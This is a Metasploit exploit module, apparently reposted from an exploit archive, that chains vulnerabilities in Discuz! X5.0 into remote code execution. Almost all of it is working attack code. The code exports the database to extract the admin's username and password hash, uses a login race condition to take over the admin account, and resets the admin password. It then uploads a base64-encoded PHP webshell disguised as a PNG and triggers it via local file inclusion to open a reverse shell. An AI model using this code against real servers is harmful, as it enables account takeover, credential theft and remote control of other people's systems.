Share
## https://sploitus.com/exploit?id=PACKETSTORM:223682
==================================================================================================================================
    | # Title     : Discuz! X5.0 Chained RCE via Race Condition                                                                      |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 151.0.3 (64 bits)                                                 |
    | # Vendor    : https://www.discuz.vip/                                                                                          |
    ==================================================================================================================================
    
    [+] Summary    : This module exploits a vulnerabilities in Discuz! X5.0 to achieve Remote Code Execution.
    
    [+] POc        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
      Rank = ExcellentRanking
    
      include Msf::Exploit::Remote::HttpClient
      include Msf::Exploit::FileDropper
      include Msf::Exploit::Capture  # For OCR functionality
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Discuz! X5.0 Chained RCE via Race Condition + LFI',
            'Description' => %q{
              This module exploits a chain of vulnerabilities in Discuz! X5.0 to achieve
              Remote Code Execution:
    
              1. Race condition in the user authentication mechanism
              2. Local File Inclusion (LFI) in plugin management
              3. Arbitrary file upload via admin panel
    
              The exploit first extracts the admin's username and MD5 hash by exporting
              the database via an authenticated API endpoint. It then registers a
              specially crafted user that allows password reset of the admin account
              through a race condition attack. Once admin access is obtained, the
              module uploads a PHP stager and triggers it via LFI to get RCE.
              Tested successfully on Discuz! X5.0 releases 20260320 through 20260610.
            },
            'Author' => ['indoushka'],
            'License' => MSF_LICENSE,
            'References' => [
              ['CVE', '2026-49954'],
              ['URL', 'https://karmainsecurity.com/KIS-2026-09'],
              ['URL', 'https://karmainsecurity.com/KIS-2026-10'],
              ['URL', 'https://karmainsecurity.com/KIS-2026-11'],
              ['URL', 'https://karmainsecurity.com/chaining-bugs-in-discuz-from-race-condition-to-rce']
            ],
            'DisclosureDate' => '2026-06-15',
            'Platform' => ['php', 'unix', 'linux'],
            'Arch' => [ARCH_PHP, ARCH_CMD],
            'Targets' => [
              ['PHP Stager', { 'Arch' => ARCH_PHP, 'Platform' => 'php', 'DefaultOptions' => { 'PAYLOAD' => 'php/meterpreter/reverse_tcp' } }],
              ['Unix Command', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' } }]
            ],
            'DefaultTarget' => 0,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
            }
          )
        )
        register_options([
          OptString.new('TARGETURI', [true, 'Base path to Discuz! installation', '/']),
          OptInt.new('RACE_SLEEP', [false, 'Sleep time between race attempts', 1]),
          OptInt.new('MAX_RACE_ATTEMPTS', [false, 'Maximum race condition attempts', 10])
        ])
        register_advanced_options([
          OptBool.new('USE_OCR', [true, 'Attempt to solve CAPTCHA using OCR', true]),
          OptString.new('OCR_TESSERACT_PATH', [false, 'Path to Tesseract OCR executable', 'tesseract'])
        ])
      end
      def setup_ocr
        return unless datastore['USE_OCR']
        begin
          @tesseract_path = datastore['OCR_TESSERACT_PATH']
          res = cmd_exec("#{@tesseract_path} --version 2>&1")
          if res.include?('tesseract')
            print_good("Tesseract OCR found")
            @ocr_available = true
          else
            print_warning("Tesseract OCR not found, CAPTCHA may need manual solving")
            @ocr_available = false
          end
        rescue
          print_warning("OCR not available, CAPTCHA will fail")
          @ocr_available = false
        end
      end
      def solve_captcha(image_data)
        return nil unless @ocr_available
        temp_file = "#{Rex::Text.rand_text_alpha(8)}.png"
        temp_path = File.join(Msf::Config.config_directory, temp_file)
        begin
          File.binwrite(temp_path, image_data)
          res = cmd_exec("#{@tesseract_path} #{temp_path} stdout -c tessedit_char_whitelist=ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")
          res.strip.upcase
        ensure
          File.delete(temp_path) if File.exist?(temp_path)
        end
      end
      def get_authcode(url, payload)
        params = {
          'username' => payload,
          'password' => '1',
          'lssubmit' => '1'
        }
        res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'member.php'),
          'vars_get' => { 'mod' => 'logging', 'action' => 'login', 'loginsubmit' => 'yes' },
          'vars_post' => params
        })
        if res && res.body =~ /auth=([^&]+)/
          return Regexp.last_match(1)
        end
        nil
      end
      def register_special_user(url, admin_md5)
        username = "#{admin_md5}\t1\t#{Rex::Text.rand_text_hex(4)}"
        print_status("Registering special user: #{username}")
        session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
        sess_cookie = nil
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'member.php'),
          'vars_get' => { 'mod' => 'register' }
        })
        unless res && res.body
          fail_with(Failure::UnexpectedReply, "Failed to get registration page")
        end
        formhash = res.body.scan(/<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/).flatten.first
        fail_with(Failure::UnexpectedReply, "Formhash not found") unless formhash
        seccode = res.body.scan(/updateseccode\('([^']+)/).flatten.first
        pwd_ids = res.body.scan(/<input\s+type="password"\s+id="([^"]+)"/).flatten
        fields_ids = res.body.scan(/<input\s+type="text"\s+id="([^"]+)"/).flatten
        fail_with(Failure::UnexpectedReply, "Expected 2 password fields, found #{pwd_ids.length}") if pwd_ids.length != 2
        fail_with(Failure::UnexpectedReply, "Expected 2 fields, found #{fields_ids.length}") if fields_ids.length != 2
        username_field, email_field = fields_ids
        params = {
          'regsubmit' => 'yes',
          'formhash' => formhash,
          'referer' => url,
          username_field => username,
          pwd_ids[0] => 'password',
          pwd_ids[1] => 'password',
          email_field => "#{Rex::Text.rand_text_hex(8)}@qq.com"
        }
        cookies = res.get_cookies
        if seccode
          print_status("CAPTCHA is enabled, solving...")
          captcha_res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(url, 'misc.php'),
            'vars_get' => {
              'mod' => 'seccode',
              'action' => 'update',
              'modid' => 'member::register',
              'idhash' => seccode
            }
          })
          if captcha_res && captcha_res.body =~ /update=(\d+)/
            magic_number = Regexp.last_match(1)
            img_res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(url, 'misc.php'),
              'vars_get' => {
                'mod' => 'seccode',
                'update' => magic_number,
                'idhash' => seccode
              }
            })
            if img_res && img_res.code == 200
              seccodeverify = solve_captcha(img_res.body)
              if seccodeverify
                print_good("CAPTCHA solved: #{seccodeverify}")
                verify_res = send_request_cgi({
                  'method' => 'GET',
                  'uri' => normalize_uri(url, 'misc.php'),
                  'vars_get' => {
                    'mod' => 'seccode',
                    'action' => 'check',
                    'inajax' => '1',
                    'modid' => 'member::register',
                    'idhash' => seccode,
                    'secverify' => seccodeverify
                  }
                })
                if verify_res && verify_res.body.include?('succeed')
                  params['seccodehash'] = seccode
                  params['seccodemodid'] = 'member::register'
                  params['seccodeverify'] = seccodeverify
                end
              end
            end
          end
        end
        final_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'member.php'),
          'vars_get' => { 'mod' => 'register', 'inajax' => '1' },
          'cookie' => cookies,
          'vars_post' => params
        })
        unless final_res && final_res.body.include?('succeedmessage')
          fail_with(Failure::UnexpectedReply, "Failed to register user")
        end
        username
      end
      def race_condition_attack(url, username, import_url)
        print_status("Performing race condition attack...")
        session = Rex::Proto::Http::Client.new(datastore['RHOST'], datastore['RPORT'])
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'member.php'),
          'vars_get' => { 'mod' => 'logging', 'action' => 'login' }
        })
        unless res && res.body
          fail_with(Failure::UnexpectedReply, "Failed to get login page")
        end
        formhash = res.body.scan(/<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/).flatten.first
        seccode = res.body.scan(/updateseccode\('([^']+)/).flatten.first
        params = {
          'formhash' => formhash,
          'referer' => url,
          'username' => username,
          'password' => 'password',
          'questionid' => '0'
        }
        cookies = res.get_cookies
        if seccode
          print_status("CAPTCHA present on login page")
          captcha_res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(url, 'misc.php'),
            'vars_get' => {
              'mod' => 'seccode',
              'action' => 'update',
              'modid' => 'member::logging',
              'idhash' => seccode
            }
          })
          if captcha_res && captcha_res.body =~ /update=(\d+)/
            magic_number = Regexp.last_match(1)
            img_res = send_request_cgi({
              'method' => 'GET',
              'uri' => normalize_uri(url, 'misc.php'),
              'vars_get' => {
                'mod' => 'seccode',
                'update' => magic_number,
                'idhash' => seccode
              }
            })
            if img_res && img_res.code == 200
              seccodeverify = solve_captcha(img_res.body)
              if seccodeverify
                params['seccodehash'] = seccode
                params['seccodemodid'] = 'member::logging'
                params['seccodeverify'] = seccodeverify
              end
            end
          end
        end
        race_thread = Thread.new do
          Rex.sleep(0.1)
          send_request_cgi({
            'method' => 'GET',
            'uri' => import_url,
            'keep_cookies' => false
          })
        end
        race_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'member.php'),
          'vars_get' => { 'mod' => 'logging', 'action' => 'login', 'loginsubmit' => 'yes', 'inajax' => '1' },
          'vars_post' => params,
          'cookie' => cookies
        })
        race_thread.join
        if race_res && race_res.body =~ /auth=([^&]+)/
          return Regexp.last_match(1), race_res.get_cookies
        end
        nil
      end
      def reset_admin_password(url, admin_cookies)
        print_status("Resetting admin password to 'hacked'")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'home.php'),
          'vars_get' => { 'mod' => 'spacecp', 'ac' => 'account' },
          'cookie' => admin_cookies
        })
        return unless res && res.body =~ /formhash=([^"]+)/ 
        formhash = Regexp.last_match(1)
        verify_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'home.php'),
          'vars_get' => {
            'mod' => 'spacecp',
            'ac' => 'account',
            'op' => 'verify',
            'method' => 'chgpassword',
            'formhash' => formhash,
            'handlekey' => 'security_verify',
            'inajax' => '1'
          },
          'cookie' => admin_cookies
        })
        if verify_res && verify_res.body =~ /idstring=([^&]+)/
          idstring = Regexp.last_match(1)
          sign = verify_res.body.scan(/sign=([^"]+)/).flatten.first
          change_res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(url, 'home.php'),
            'vars_get' => {
              'mod' => 'spacecp',
              'ac' => 'account',
              'op' => 'verify',
              'method' => 'chgpassword',
              'formhash' => formhash,
              'idstring' => idstring,
              'sign' => sign,
              'infloat' => 'yes',
              'handlekey' => 'chgpassword',
              'inajax' => '1'
            },
            'cookie' => admin_cookies
          })
          if change_res && change_res.body =~ /action="([^"]+)/
            change_path = Regexp.last_match(1).gsub('&', '&')
            send_request_cgi({
              'method' => 'POST',
              'uri' => change_path,
              'vars_post' => {
                'formhash' => formhash,
                'referer' => url,
                'newpassword' => 'hacked',
                'renewpassword' => 'hacked',
                'submit' => 'true'
              },
              'cookie' => admin_cookies
            })
          end
        end
      end
      def admincp_login(url, admin_username)
        print_status("Logging into admin control panel")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'admin.php')
        })
        return unless res && res.body =~ /<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/
        formhash = Regexp.last_match(1)
        login_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_post' => {
            'formhash' => formhash,
            'admin_username' => admin_username,
            'admin_password' => 'hacked'
          },
          'allow_redirects' => false
        })
        return login_res.get_cookies if login_res && login_res.code == 302
        nil
      end
      def upload_stager(url, admin_cookies)
        print_status("Uploading PHP stager as PNG image")
        res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => { 'action' => 'nav', 'operation' => 'headernav', 'do' => 'edit', 'id' => '2' },
          'cookie' => admin_cookies
        })
        return unless res && res.body =~ /<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/
        formhash = Regexp.last_match(1)
        stager_png = Base64.decode64(
          "iVBORw0KGgoAAAANSUhEUgAAACUAAAAUCAMAAAA9ZgQ5AAAAb1BMVEU8P3BocCBmaWxlX3B1dF9jb250ZW50cygiZGF0YS9zaC5waHAiLCAiPD9waHAgZXZhbChiYXNlNjRfZGVjb2RlKFwkX1NFUlZFUlsnSFRUUF9DJ10pKTsgPz4iKTsgZGllKCJGTDRHISIpOyA/PiBjLWapAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAAN0lEQVQokWNgIA4wMjGzsLKxc3BycfPw8vELCAoJi4iKiUtISknLyMrJKygqKasQadQoGAUDDgAXzQKbCPeK7gAAAABJRU5ErkJggg=="
        )
        data = Rex::MIME::Message.new
        data.add_part(formhash, nil, nil, 'form-data; name="formhash"')
        data.add_part('1', nil, nil, 'form-data; name="editsubmit"')
        data.add_part(stager_png, 'image/png', 'binary', 'form-data; name="iconnew"; filename="image.png"')
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => { 'action' => 'nav', 'operation' => 'headernav', 'do' => 'edit', 'id' => '2' },
          'cookie' => admin_cookies,
          'ctype' => "multipart/form-data; boundary=#{data.bound}",
          'data' => data.to_s
        })
        final_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => { 'action' => 'nav', 'operation' => 'headernav', 'do' => 'edit', 'id' => '2' },
          'cookie' => admin_cookies
        })
        if final_res && final_res.body =~ /value="data\/attachment\/common\/cf\/([^"]+)/
          return Regexp.last_match(1)
        end
        nil
      end
      def execute_lfi(url, admin_cookies, stager_filename)
        print_status("Importing fake plugin with LFI path")
        plugin_id = "p_#{Rex::Text.rand_text_hex(8)}"
        xml_data1 = %{
          <root>
            <item id="Title">Discuz! Plugin</item>
            <item id="Data">
              <item id="version">X5.0</item>
              <item id="var">
                <item id="config">
                  <item id="pluginvarid">1337</item>
                </item>
              </item>
              <item id="plugin">
                <item id="identifier">#{plugin_id}</item>
              </item>
            </item>
          </root>
        }
        data1 = Rex::MIME::Message.new
        data1.add_part('myrepeats', nil, nil, 'form-data; name="dir"')
        data1.add_part(xml_data1.strip, 'application/xml', nil, 'form-data; name="importfile"; filename="importfile.xml"')
        send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => { 'action' => 'plugins', 'operation' => 'import', 'importtype' => 'file', 'ignoreversion' => '1', 'installtype' => '' },
          'cookie' => admin_cookies,
          'ctype' => "multipart/form-data; boundary=#{data1.bound}",
          'data' => data1.to_s
        })
        plugin_id2 = "p_#{Rex::Text.rand_text_hex(8)}"
        xml_data2 = %{
          <root>
            <item id="Title">Discuz! Plugin</item>
            <item id="Data">
              <item id="version">X5.0</item>
              <item id="var">
                <item id="config">
                  <item id="pluginvarid">1337</item>
                </item>
              </item>
              <item id="plugin">
                <item id="directory">../../data/attachment/common/cf/</item>
                <item id="identifier">#{plugin_id2}</item>
                <item id="__modules">
                  <item id="extra">
                    <item id="enablefile">#{stager_filename}</item>
                  </item>
                </item>
              </item>
            </item>
          </root>
        }
        data2 = Rex::MIME::Message.new
        data2.add_part('myrepeats', nil, nil, 'form-data; name="dir"')
        data2.add_part(xml_data2.strip, 'application/xml', nil, 'form-data; name="importfile"; filename="importfile.xml"')
        plugin_res = send_request_cgi({
          'method' => 'POST',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => { 'action' => 'plugins', 'operation' => 'import', 'importtype' => 'file', 'ignoreversion' => '1', 'installtype' => '' },
          'cookie' => admin_cookies,
          'ctype' => "multipart/form-data; boundary=#{data2.bound}",
          'data' => data2.to_s
        })
        return unless plugin_res && plugin_res.body =~ /`pluginid`='(\d+)/
        plugin_id_num = Regexp.last_match(1)
        form_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => { 'action' => 'plugins' },
          'cookie' => admin_cookies
        })
        return unless form_res && form_res.body =~ /<input\s+type="hidden"\s+name="formhash"\s+value="([^"]+)"/
        formhash = Regexp.last_match(1)
        print_status("Triggering LFI to execute stager")
        send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(url, 'admin.php'),
          'vars_get' => {
            'action' => 'plugins',
            'operation' => 'enable',
            'pluginid' => plugin_id_num,
            'formhash' => formhash
          },
          'cookie' => admin_cookies
        })
      end
      def execute_payload(url)
        print_status("Launching webshell via data/sh.php")
        while true
          Rex.sleep(0.1)
          cmd = "chdir('..'); system('#{payload.raw}');"
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => normalize_uri(url, 'data', 'sh.php'),
            'headers' => { 'C' => Rex::Text.encode_base64(cmd) }
          })
          if res && res.code == 200
            return true
          end
          Rex.sleep(1)
        end
      end
      def extract_admin_info_from_backup(backup_data)
        print_status("Searching for admin's username and MD5 password hash")
        if backup_data =~ /common_member VALUES \('1',([^\)]+)/
          parts = Regexp.last_match(1).split(',')
          admin_username_hex = parts[1].strip[2..-1]
          admin_md5_hex = parts[3].strip[2..-1]
          admin_username = [admin_username_hex].pack('H*')
          admin_md5 = [admin_md5_hex].pack('H*')
          return admin_username, admin_md5
        end
        nil
      end
      def exploit
        base_url = normalize_uri(target_uri.path)
        print_status("Starting Discuz! X5.0 Chained RCE Exploit")
        print_status("CVE-2026-49954 - Race Condition + LFI to RCE")
        setup_ocr
        print_status("Getting authcode for database export")
        authcode = get_authcode(base_url, "method=export&time=9999999999&")
        fail_with(Failure::UnexpectedReply, "Failed to get authcode") unless authcode
        print_good("Authcode obtained: #{authcode}")
        print_status("Exporting database")
        export_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_url, 'api', 'db', 'dbbak.php'),
          'vars_get' => { 'apptype' => 'discuzx', 'code' => authcode }
        })
        unless export_res && export_res.body =~ /(data\/backup_.+\.sql)/
          fail_with(Failure::UnexpectedReply, "Failed to export database")
        end
        backup_file = Regexp.last_match(1)
        print_good("Database backup: #{backup_file}")
        print_status("Downloading database dump")
        backup_res = send_request_cgi({
          'method' => 'GET',
          'uri' => normalize_uri(base_url, backup_file)
        })
        unless backup_res && backup_res.code == 200
          fail_with(Failure::UnexpectedReply, "Failed to download database backup")
        end
        admin_username, admin_md5 = extract_admin_info_from_backup(backup_res.body)
        fail_with(Failure::UnexpectedReply, "Could not extract admin credentials") unless admin_username
        print_good("Admin username: #{admin_username}")
        print_good("Admin MD5 password hash: #{admin_md5}")
        username = register_special_user(base_url, admin_md5)
        print_good("Special user registered: #{username}")
        backup_dir = backup_file.scan(%r{data/(backup_[^/]+)}).flatten.first
        authcode_import = get_authcode(base_url, "method=import&time=9999999999&sqlpath=#{backup_dir}&")
        import_url = normalize_uri(base_url, "api/db/dbbak.php?apptype=discuzx&code=#{authcode_import}")
        result = nil
        datastore['MAX_RACE_ATTEMPTS'].to_i.times do |attempt|
          print_status("Race attempt ##{attempt + 1}")
          result = race_condition_attack(base_url, username, import_url)
          break if result
          Rex.sleep(datastore['RACE_SLEEP'])
        end
        fail_with(Failure::UnexpectedReply, "Race condition attack failed") unless result
        auth_cookie, login_cookies = result
        print_good("Race condition successful!")
        print_good("Admin auth cookie: #{auth_cookie}")
        print_status("Waiting for database import to complete...")
        while true
          Rex.sleep(30)
          res = send_request_cgi({
            'method' => 'GET',
            'uri' => base_url
          })
          break if res && res.code == 200
          print_status("Still waiting...")
        end
        admin_cookies = login_cookies.dup
        first_key = admin_cookies.keys.first
        prefix = first_key.split('_')[0..1].join('_')
        admin_cookies["#{prefix}_auth"] = auth_cookie
        reset_admin_password(base_url, admin_cookies)
        admincp_cookies = admincp_login(base_url, admin_username)
        fail_with(Failure::UnexpectedReply, "Failed to login to admincp") unless admincp_cookies
        stager_filename = upload_stager(base_url, admincp_cookies)
        fail_with(Failure::UnexpectedReply, "Failed to upload stager") unless stager_filename
        print_good("Stager uploaded: #{stager_filename}")
        execute_lfi(base_url, admincp_cookies, stager_filename)
        execute_payload(base_url)
        handler
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================